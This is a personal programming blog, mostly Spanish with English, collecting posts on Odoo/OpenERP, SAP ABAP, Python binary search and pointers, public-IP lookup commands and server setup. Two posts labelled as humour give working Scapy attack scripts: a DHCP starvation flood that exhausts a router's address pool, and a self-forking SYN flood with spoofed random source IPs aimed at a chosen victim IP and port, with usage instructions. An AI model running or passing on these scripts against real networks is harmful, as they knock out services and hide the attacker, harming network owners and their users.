viernes, 20 de mayo de 2016

Only things... how to get a backup from Odoo using wget

Hi everyone, my recent publication:
Go to my Gist page
https://gist.github.com/Endika/209e9d31a86e2820acfb84e62b748648

Is very easy, with this line you can download ZIP file backup for you Odoo server.

Nice, and see you

domingo, 5 de julio de 2015

How to know my public IP in terminal

Hi everybody, today i share a simple list for get your public IP in linux command line.
First command, check your IP using dyndns service is very long command.
curl -s http://checkip.dyndns.org/ | grep -o "[[:digit:].]\+"
This is short command and very easy to remember.
curl ifconfig.me
Ipify is the same than ifconfig but response is in JSON format, prefer for webservices or other apps.
curl 'https://api.ipify.org?format=json'
Mi favorite is this command, is very elegant only send a request to obtain IP using DNS server.
dig +short myip.opendns.com @resolver1.opendns.com
Other command is the same that others.
curl ip.appspot.com
For to use this commands you need to install curl and digpackages.
For use curl install sudo aptitude install curl
For use dig install sudo aptitude install dnsutils

viernes, 3 de julio de 2015

Differents cases for you don't use position="replace" in Odoo xml

Hi everybody, today i explain how to use position attribute in Odoo XML.

Realy is very easy, only you never forget this rule:

Never use this attribute position="replace" NEVER NEVER.
<field name="street" position="replace">
    <!-- .... Never use!!!! -->
</field>
Exist other for example position="attribute", position="after", position="before"
<!-- You need add new attributes to field -->
<field name="street" position="attribute">
    <attribute name="class">big_field</attribute>
    <attribute name="value">Default Value</attribute>
    <attribute name="style">boder:solid 0.1em #f00;</attribute>
</field>

<!-- You need add other field after that -->
<field name="street" position="after">
    <field name="street2"/>
</field>

<!-- You need add other field before that -->
<field name="street" position="before">
    <field name="first_name"/>
</field>
Is very importan in your addons not use replace attribute because is posible in your view or inherit view other addons touch the same part and cause error and generates incompatibilities.

Other example with xpath expresion
<!-- add in all links with class 
is menu_links text color red. -->
<xpath expr="//a[@class='menu_links']" position="attributes">
    <attribute name="style">color:#f00;</attribute>
</xpath>

<!-- add in only in first link with class 
is menu_links text color red. -->
<xpath expr="//a[@class='menu_links'][0]" position="attributes">
    <attribute name="style">color:#f00;</attribute>
</xpath>

<!-- add in only in second link with class 
is menu_links text color red. -->
<xpath expr="//a[@class='menu_links'][1]" position="attributes">
    <attribute name="style">boder:solid 0.1em #f00;</attribute>
</xpath>
The last example is very dangerous because is possible the second link not exist and cause error.

lunes, 22 de junio de 2015

My return random.randint(0, 1)

Hi everybody, i didn't posted like before days.
But the summer arrive and i will try posts new content. Now a days i publised a lot of commits and PR's (pull request) in my github account (https://github.com/Endika) i will try posted all interesting things in my blog.

This is only a notify posts but the next posts i promise i published interesting things.

Thanks for followme @endika_iglesias

domingo, 1 de febrero de 2015

How to check if my website this ON?

With Selenium language, is very easy. Only need installed selenium python library.
Simple example using Selenium library
browser = webdriver.Firefox()
browser.get('http://google.es')
assert 'Google' in browser.title
In this example only checked if google.es has the "Google" title.

Now, if don't has the correct title the webs site, takes a screenshot.
browser = webdriver.Firefox()
browser.get('http://google.es')
if 'Google' not in browser.title:
    base64 = browser.get_screenshot_as_base64()
Finally, you can program tasks to check your websites and send email on error. If you want see the full example code go to this url Github/Endika/test_script/checkWebsite.py

miércoles, 21 de mayo de 2014

[SOLVED] Servers Digital Ocean with timezone problems

use this command
cp /usr/share/zoneinfo/Europe/Madrid /etc/localtime 

lunes, 19 de mayo de 2014

How to create certificates in a single line

complete as follows
/C= Country Name (2 letter code)
/ST= State or Province Name (full name)
/L= Locality Name
/O= Organization Name
/OU= Organizational Unit Name
/CN=website.com
openssl req -new -newkey rsa:4096 -days 2 -nodes -x509 -subj "/C=SP/ST=Madrid/L=Madrid/O=Empresa/OU=Internet Services/CN=website.com" -keyout server.key  -out server.cert
view example in github

lunes, 17 de febrero de 2014

Solution jQueryMobile viewport tag

If we use the jQueryMobile library, it may not work the viewport tag
Si usamos la librería jQueryMobile es muy posible que tengamos problemas para que nos funcione la etiqueta viewport
<html>
<head>
...
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
...
</head>
<body>
...
</body>
It has very easy solution. First step to remove the label.
Bueno por suerte tiene muy fácil solución. Primer paso eliminar la etiqueta.
Second step, add an instruction using javascript with jquery.
Segundo paso, añadimos mediante una instrucción javascript con jquery.
jQuery(document).bind('mobileinit', function(){
        jQuery.mobile.metaViewportContent = 'width=device-width, minimum-scale=1, maximum-scale=2';
});
With this statement, we can zoom in on our mobile device.
Con esta instrucción, podremos hacer zoom en nuestro dispositivo movil.

jueves, 6 de febrero de 2014

Translate the organization number of internal number of SAP


    CALL METHOD cl_crm_org_management=>get_instance
      IMPORTING
        ev_instance = lv_orgman.

    CALL METHOD lv_orgman->get_sales_org_of_vkorg
      EXPORTING
        iv_vkorg            = lv_s_vkorg
      IMPORTING
        ev_sales_org        = lv_sales_org
      EXCEPTIONS
        crm_key_not_defined = 1.

How to delete the zeros of a variable?

Use this function, and convert 00001 to 1.
  CALL FUNCTION 'CONVERSION_EXIT_ALPHA_OUTPUT'
    EXPORTING
      input  = lv_partner
    IMPORTING
      output = lv_partner.

lunes, 3 de febrero de 2014

SAP Cheat Cube CRM version


Copying the idea of Cube Cheat. I have prepared one. You may download the image and print it for your personal use.

Copiando la idea de los Cheat Cube. He preparado uno. Podéis descargar la imagen sin problema he imprimirla para vuestro uso personal.

Here is a preview of the final result.

Aquí una preview del resultado final.

sábado, 18 de enero de 2014

Get BP number with customer user (Obtén el numero de BP con el usuario del cliente)

Only use one function. It's very simple.

      CALL FUNCTION 'YCRM_CC_FUNC_GET_FRONT_OFFICE'
        EXPORTING
          user       = sy-uname 
        IMPORTING
          og_partner = lv_bp.

sy-uname is the global variable in ABAP contains the current user.
lv_bp is the local variable containing BP code.

Read structures and get the sales manager (leer la estructura y obtener el jefe de ventas)

For example, i need to get my sales manager of the organizational structure. The function is this
  CALL FUNCTION 'RH_STRUC_GET'
    EXPORTING
      act_otype      = 'BP'
      act_objid      = partner_no #enter de Partner number
      act_wegid      = 'BP-CP-O'  #we indicate that we want to get
      act_tdepth     = 0
    TABLES
      result_tab     = lt_result #here the result
    EXCEPTIONS
      no_plvar_found = 1
      no_entry_found = 2
      OTHERS         = 3.

Install OpenERP7 in Linux with HTTPS (Instalar OpenERP7 en Linux con HTTPS)

Is the time to upgrade. Ok, i will change many things. Conclude with Ubuntu and only use Debian. Continued...
Es la hora de actualizarse. Ok, voy a cambiar muchas cosas. Termino con Ubuntu y sólo usaremos Debian. Continuamos...

The new version has changed many things, easier installation. (in previous post Instalar OpenERP 6 de un golpe):
La nueva versión a cambiado muchas cosas, una instalación más sencilla. (en post anteriores Instalar OpenERP 6 de un golpe):

Add in /etc/apt/sources.list
echo "deb http://nightly.openerp.com/7.0/nightly/deb/ ./" >> /etc/apt/sources.list
sudo apt-get update; sudo apt-get install openerp

And wait...
sudo service openerp start

We can see the log, while loading
Podemos ver el log, mientras carga
watch tail /var/log/openerp/openerp-server.log

When loaded, configure the HTTPS
Cuando esté cargado, configuramos el HTTPS
First, we block the default port 8069
Primero, bloqueamos el puerto por defecto 8069
sudo iptables -A INPUT -i eth0 -p tcp --destination-port 8069 -j DROP

Second, we create the SSL
Segundo, creamos el SSL
#need these packages
sudo aptitude install apache2
sudo a2enmod ssl proxy_http headers rewrite

#Create de certificate
sudo mkdir /etc/ssl/openerp
cd /etc/ssl/openerp
openssl genrsa -des3 -out openERPserver.pkey 1024
openssl rsa -in openERPserver.pkey -out openERPserver.key
openssl req -new -key openERPserver.key -out openERPserver.csr

openssl x509 -req -days 365 -in openERPserver.csr -signkey openERPserver.key -out openERPserver.crt

Now we need to configure Apache to use SSL with openERP.
Ahora tenemos que configurar apache para que use SSL con openERP.
#Create the openerp file withthis content
sudo nano /etc/apache2/sites-available/openerp

#openerp file

       SSLEngine on
       SSLCertificateFile /etc/ssl/openerp/oeserver.crt
       SSLCertificateKeyFile /etc/ssl/openerp/oeserver.key

       ProxyRequests Off

       
              Order deny,allow
              Allow from all
       

       ProxyVia On
       ProxyPass / http://127.0.0.1:8069/

       
              ProxyPassReverse /
       

       RequestHeader set “X-Forwarded-Proto” “https”

       SetEnv proxy-nokeepalive 1

And finally we enable our configuration
Ya por último habilitamos nuestra configuración
sudo a2ensite openerp

We have already completed. Now run
Ya hemos finalizado. Ahora ejecutamos
https://ipservidor

viernes, 18 de octubre de 2013

Punteros en Python (Pointers in Python)

En realidad en Python todo son punteros he aquí una prueba sencilla:
In Python all are pointers here's a simple example:
a=1
id(a) # posicion 11111
b=2
id(b) # posicion 22222
Los dos apuntan a posiciones distintas, pero....
They point to different positions, but ....
id(a) # posicion 11111
b=a
id(b) # posicion 11111
TACHAN!!! B apunta a la misma posición que A. De todas formas si ahora modificamos el valor de B el valor de A no varía. Para lograr simular un puntero de verdad. Tenemos que hacer el siguiente apaño.
TACHAN! B has the same position as A. But if we change B, A does not change. To simulate this we have to do ...
class ref:
    def __init__(self, obj): self.obj = obj
    def get(self):    return self.obj
    def set(self, obj):      self.obj = obj

a = ref(1)
b = a
print a.get()  # 1
print b.get()  # 1

b.set(2)
print a.get()  # => 2
print b.get()  # => 2
happy coding ;)

lunes, 14 de octubre de 2013

Busquedas binarias en Python (Binary search in Python)

Hoy os presento 3 sencillos casos de búsqueda binaria. Antes de usar este sencillo algoritmo necesitamos una lista ordenada. Mi primer ejemplo con un árbol.
Today i present three cases of simple binary search. Before using this simple algorithm we need an ordered list. My first example with a tree.
class Node:
    def __init__(self, val):
        self.l_child = None
        self.r_child = None
        self.data = val

def binary_insert(root, node):
    if root is None:
        root = node
    else:
        if root.data > node.data:
            if root.l_child == None:
                root.l_child = node
            else:
                binary_insert(root.l_child, node)
        else:
            if root.r_child == None:
                root.r_child = node
            else:
                binary_insert(root.r_child, node)

def searchNode(root,search):
    if not root:
        return        
    searchNode(root.r_child,search)
    if root == search:
        print(root.data)
    searchNode(root.l_child,search)

def resultUp(r,node):
    if not r:
        return
    print(r.data)
    if r == node:
        return
    resultUp(r.r_child,node) 

def resultPointToPoint(ini,fin):
    if not ini:
        return 
    if ini == fin:
        print(ini.data)
        return
    print(ini.data)
    resultPointToPoint(ini.r_child,fin)
    resultPointToPoint(ini.l_child,fin)

Example:
r = Node(0)
n1= Node(1)
n2= Node(2)
n3= Node(3)
n4= Node(4)
n5= Node(5)
n6= Node(6)
n7= Node(7)
n8= Node(8)

binary_insert(r,n1)
binary_insert(r,n2)
binary_insert(r,n3)
binary_insert(r,n4)
binary_insert(r,n5)
binary_insert(r,n6)
binary_insert(r,n7)
binary_insert(r,n8)


print("Search n1")
searchNode(r,n1)

print("n2 to n5")
searchPointToPoint(r,n2,n5)

print("n5 route to r")
resultUp(r,n5)

Este ejemplo es el método más complejo para implementarlo. Ahora os muestro otro caso de busqueda binaria más simplificada:
This example is the most complex to implement. Now I show another case of more simplified binary search:
import random

def binary_search(the_array, the_key, imin, imax):
    while imax >= imin:
        imid = int(imin + ((imax - imin) / 2))
        if the_array[imid] < the_key:
            imin = imid + 1
        elif the_array[imid] > the_key:
            imax = imid - 1
        else:
            return imid
    return None

Example:
print (binary_search(range(0,1000),21,0,1000))

Por último el mismo caso que el anterior pero usando la recursividad:
Finally the same case as above but using recursion:
import random

def binary_search_recur(the_array, the_key, imin, imax):
    if (imax < imin):
        return None
    else:
        imid = int(imin + ((imax - imin) / 2))
        if the_array[imid] > the_key:
            return binary_search_recur(the_array, the_key, imin, imid-1)
        elif the_array[imid] < the_key:
            return binary_search_recur(the_array, the_key, imid+1, imax)
        else:
            return imid

Example:
print (binary_search_recur(range(0,1000),21,0,1000))

Y con estos sencillos ejemplos me despido hasta la siguiente entrada.
And with these simple examples I say goodbye until the next entry.

viernes, 20 de septiembre de 2013

bye bye 1and1. Hola DigitalOcean y Namecheap









El titulo lo dice todo. ¡Oficialmente dejo 1and1! El cambio no será de golpe, dejaré que finalice las suscripciones de mis productos así voy migrando todos los datos poco a poco y de forma ordenada. (la fecha limite 1/11/2013)

No voy a entrar en mucho detalle pero ya tengo programado mi planing de migración. Está claro que el cambio es para mejor. Era cómodo tener un servicio que te hacia "todo" pero las limitaciones y prohibiciones de 1and1, en más de una ocasión me han provocado alguna riña con el servicio técnico. Por otro lado el servicio de atención al cliente no ha mejorado con los años. Sencillamente no cumple las expectativas esperadas. 1and1 presume de profesionalidad y que es un servicio de calidad y moderno. No voy a entrar en profesionalidad sólo comentaré "calidad y moderno". Las políticas y restricciones de seguridad son muy puñeteras. Las he estado soportando porque pensaba que con el tiempo mejorarían y ampliarían horizontes.

"Ofrecen un entorno estable" en varias ocasiones he llegado a estar semanas con todos mis servicios web caídos. Tampoco me dieron ninguna justificación ni información por su parte.

"Mejoran y sacan ¡nuevos! productos" para instalar ciertos frameworks he tenido que hacer MAGIA para que funcionen. Es más, yo desde que uso Symphony no he sido capaz de actualizar a la versión 2. Os podéis hacer una idea del problema que supone tener entornos completamente desactualizados. No me vale que me ofrecíais un servicio que no puedo tenerlo actualizado. En mi opinión mantener los servidores actualizados.

Lo gracioso que si necesitas algún servicio o que te habiliten/actualicen alguna funcionalidad o paquete del cual no disponen en la tienda, no te mandan a la mierda, te ofrecen sus servidores dedicados,virtuales.... OOOO GRACIAS!!! y por que no actualizáis vosotros! que cuando sale un update de mysql o apache tenemos que esperar 5 años para poder disfrutar de ella.

Después de este desahogo.

Como ya he dicho antes, todos los datos los migraré a servidores o Droplets como lo llaman Digital Ocean. Lo descubrí gracias a un compañero y la verdad me ha sorprendido el precio de las máquinas, su calidad y la libertad para crearte tu entorno deseado. Por ahora lo veo un poco para desarrolladores con cierto nivel y conocimiento, o para empresas. Por otro lado se ve que van sacando opciones predefinidas para ampliar al público menos experimentado.

PEROOO... Amazon AWS hace algo parecido??? si... pero la factura a veces te asusta.

Desde hace un tiempo ya tenia claro que algún día tenia que migrar y pasarme a un servicio mejor. Y en mi opinión Digital Ocean supera con creces mis expectativas joder si es que ¡¡Usa discos duros SSD!! y el precio por hora está más que genial!!!

Muy bien, tengo el servidor y el espacio pero... y los dominios?? Namecheap sencillamente por unanimidad donde sino?


miércoles, 21 de agosto de 2013

De risas, con humor y Scapy (II)

Bienvenidos a la segunda edición de HUMOR CON SCAPY!! hoy.... Simular una Botnet para lanzar un DDOS simulado.

Como bien sabéis el objetivo de los DDOS es saturar un servicio y colapsarlo. Bien pues con la librería Scapy de Python generaremos un bucle de paquetes que van a ir dirigidos a una única dirección IP y puerto. Le añadiremos un mensaje algo como "Egunon macarrones" y le pondremos que la IP origen sea aleatoria para que no se vea reflejada nuestra dirección. Y listo!!

#! /usr/bin/env python
import sys
import os
from scapy.all import *

victima=sys.argv[1]
puerto=sys.argv[2]
mensaje=sys.argv[3]
hilos=sys.argv[4]
print victima
print puerto
print mensaje
try:
        hilos=int(hilos)
except:
        hilos=0
print hilos

while hilos > 0:
        if os.fork() == 0:
                os.system("/root/simulaDDOS.py "+str(victima)+" "+str(puerto)+"'"+str(mensaje)+"' 0")
        hilos-=1

ddos=IP(src=RandIP(),dst=str(victima),id=1111,ttl=255)/fuzz(TCP(sport=RandShort(),dport=int(puerto),seq=12345,ack=1000,window=1000,flags="S"))/str(mensaje)
ls(ddos)
srloop(ddos,inter=0.01,count=1000)
#Y para que sea infinito lo lanzamos otra vez
if os.fork() == 0:
        os.system("/root/simulaDDOS.py "+str(victima)+" "+str(puerto)+"'"+str(mensaje)+"' 0")
exit()

La forma de usar es muy sencilla solo hay que indicar en el siguiente orden:
IP= dirección IP de la victima
PUERTO= servicio a atacar 80 el HTTP por ejemplo
"MENSAJE"= texto que se enviará junto con el paquete
HILOS= tiene que ser una cifra del 0 a N. El programa creará procesos similares para intensificar la simulación del ataque.
./simulaDDOS.py 192.168.1.100 80 "Egunon macarrones" 2
Espero que os sirva como prueba para hacer alguna prueba de estrés en alguna máquina.

Un saludo.

martes, 20 de agosto de 2013

OpenERP vs SAP: entorno

Mi nueva sección y creo que está va ser la más polémica. Voy a enfrentar OpenERP contra SAP. Sacaré todas mis malas, buenas, impresiones... de estos dos entornos.

Resumen rápido!!!
Uno de código abierto OpenERP y SAP es privativo. Para los de la ESO uno es "gratis" y el otro de pago. Están orientados para que se usen en entornos empresariales, y facilitar distintos aspectos como el sistema de ventas, finanzas...

Comenzamos... bueno empezaré diciendo que a día de hoy no he conocido nada que no se pueda hacer en los dos entornos. Con OpenERP se crean módulos en Python y con SAP compras los módulos que necesitas para crear aplicaciones en el lenguaje ABAP por lo general.

-OpenERP al ser Python puedes calzarlo con cualquier otro entorno ya que es un lenguaje multiplatafrorma.
-SAP no tiene esa libertad de calzarlo en cualquier entorno, puedes comprar licencia para la SDK y conectarlo con Java y .NET por suerte Java tiene multitud de librerías con las que puedes comunicarlo con otros entornos.

Así que se podría decir que en este primer tiempo quedan en empate. Un poco justo por parte de SAP ya que tiene que hacer escala pero bueno.

Sobre el tema del soporte sin duda SAP lo tiene 24horas. OpenERP también puedes contratarlo y listo y si no quieres gastar un duro hay comunidades dispuestas a echarte una mano. Pero eso si... Ninguno de los dos soportes cubre modificaciones de métodos, funciones.. que pertenezcan al núcleo del software. Vamos una regla de oro "Ni se os ocurra modificar nada que no hayas creado tu, sin permiso." Es posible que pierdas en el caso de haberlo pagado el soporte o es posible que el código que has copiado de internet que modificaba partes el núcleo no era tan bueno como decían.

Documentación hay el minipunto está a favor y sin duda de OpenERP. La ayuda en SAP es toda en ingles, los mejores foros de ayuda y sitios es todo en ingles. Si no ponemos el idioma como impedimento, decir que la ayuda escasea mucho, usar el clásico F1 no está mal y en muchas ocasiones es lo mejor que te puedes encontrar. En internet hay poco y aun peor si no sabes buscar muy concretamente lo que necesitas.
OpenERP tienes de todo, ejemplos comunidades, módulos publicados por desarrolladores. Y todo gratis. Bueno para no pillarme la mano diré que en gran parte todo gratuito y al alcance de cualquiera.

A la hora de desarrollar ya os adelanto que el minipunto va para OpenERP de nuevo. Eclipse, Netbeans e incluso cualquier editor de texto. Puede ser usado para desarrollar un módulo en OpenERP. También decir que si editas con un entorno preparado como puede ser Eclipse tienes tus ayudas de código y otras ventajas. Vamos quiero decir que puedes elegir el entorno que cada desarrollador prefiera. La estructura del proyecto es mediante directorios y ficheros que pueden ser abiertos y editados con cualquier editor. Es muy manejable.
SAP tiene su propio editor, muy profesional y completo. Pero solo hay ese. Es más, en transacciones que no han sido mejoradas el editor es muy primitivo y no tan completo. No tienes esa facilidad de poder manejar los ficheros del proyecto a tu antojo. Simplemente por que el desarrollador no tiene acceso a los ficheros o a la fuente de donde se almacena. Bueno si te puedes copiar el codigo a tu fichero de texto, pero ya me meteré con ello más adelante que con copiar el código no es suficiente.

OpenERP ya acumula dos minipuntos!! 1 - 0 a favor.

Ya que he sacado el tema de los ficheros hay el minipunto es para SAP. Si es cierto eso de obligarnos a todos los desarrolladores a tener el mismo acceso a los ficheros. Es mejor, así nadie tiene una copia del fichero que otro no tiene, no hay lineas de código que uno ve pero el otro no... Si con OpenERP puedes usar GIT , SVN o cualquier otro pero por mucho COMMIT que hagas si no hay un PUSH. Nadie ve los cambios, y por lo tanto luego vienen las sorpresas. Por esa parte en mi opinión SAP gana.

Bueno, creo que por hoy es suficiente. Sobre los entornos no se me ocurre que más criticar... ya se me ocurrirá algo. De todas formas aun queda mucho que hablar. Os adelanto unos apartados (máquinas, diseño, calidad/precio, resultado final)

MARCADOR:  OpenERP 1   -   SAP 0.5

lunes, 19 de agosto de 2013

De risas, con humor y Scapy

Después de mucho tiempo vuelvo a escribir. Para comenzar con algo que considero interesante abro un apartado llamado "De risas, con humor y Scapy" será un apartado pequeñito ya que pondré unos pocos script "graciosetes". Comenzamos!!!!

Pondremos como victima el servidor DHCP de nuestro router wifi. Como sabréis un servidor DHCP se encarga de asignar a cada equipo que se conecta su configuración de red. Este va registrando las IP`s que han ido asignando a los diferentes equipos, para que nunca se repitan...

...Bien lo que realmente ocurre es que cuando un equipo se conecta y tiene en su tarjeta de red activo el DHCP este envía un paquete Broadcast que el router interpreta y responde. Y que ocurriría si por algún casual simulamos miles de paquetes falsos para que nuestro router asigne como loco a cada uno de ellos una IP? pues que nos quedamos sin direcciones y nadie se podrá "conectar". A no ser que se refresque la tabla, no se volverá a asignar nuevas direcciones. Eso si no petamos antes el router y colapsamos todo el tráfico.

Para el siguiente script como indica el titulo del post hay que tener la librería de Python Scapy ya instalada.
Y sin más lios aquí os lo paso:
#! /usr/bin/env python
import sys
from scapy.all import *

conf.checkIPaddr = False
dhcp_discover = Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12,'0123456789abcdef'))/DHCP(options=[("messagetype","discover"),"end"])
sendp(dhcp_discover,loop=1)

Este pequeño script de apenas 3 lineas lo que hace es generar de forma aleatoria e infinita paquetes con direcciones MAC también aleatorias y los envía por el protocolo dhcp_discover. Así que antes de liarla pulsar CTRL + C.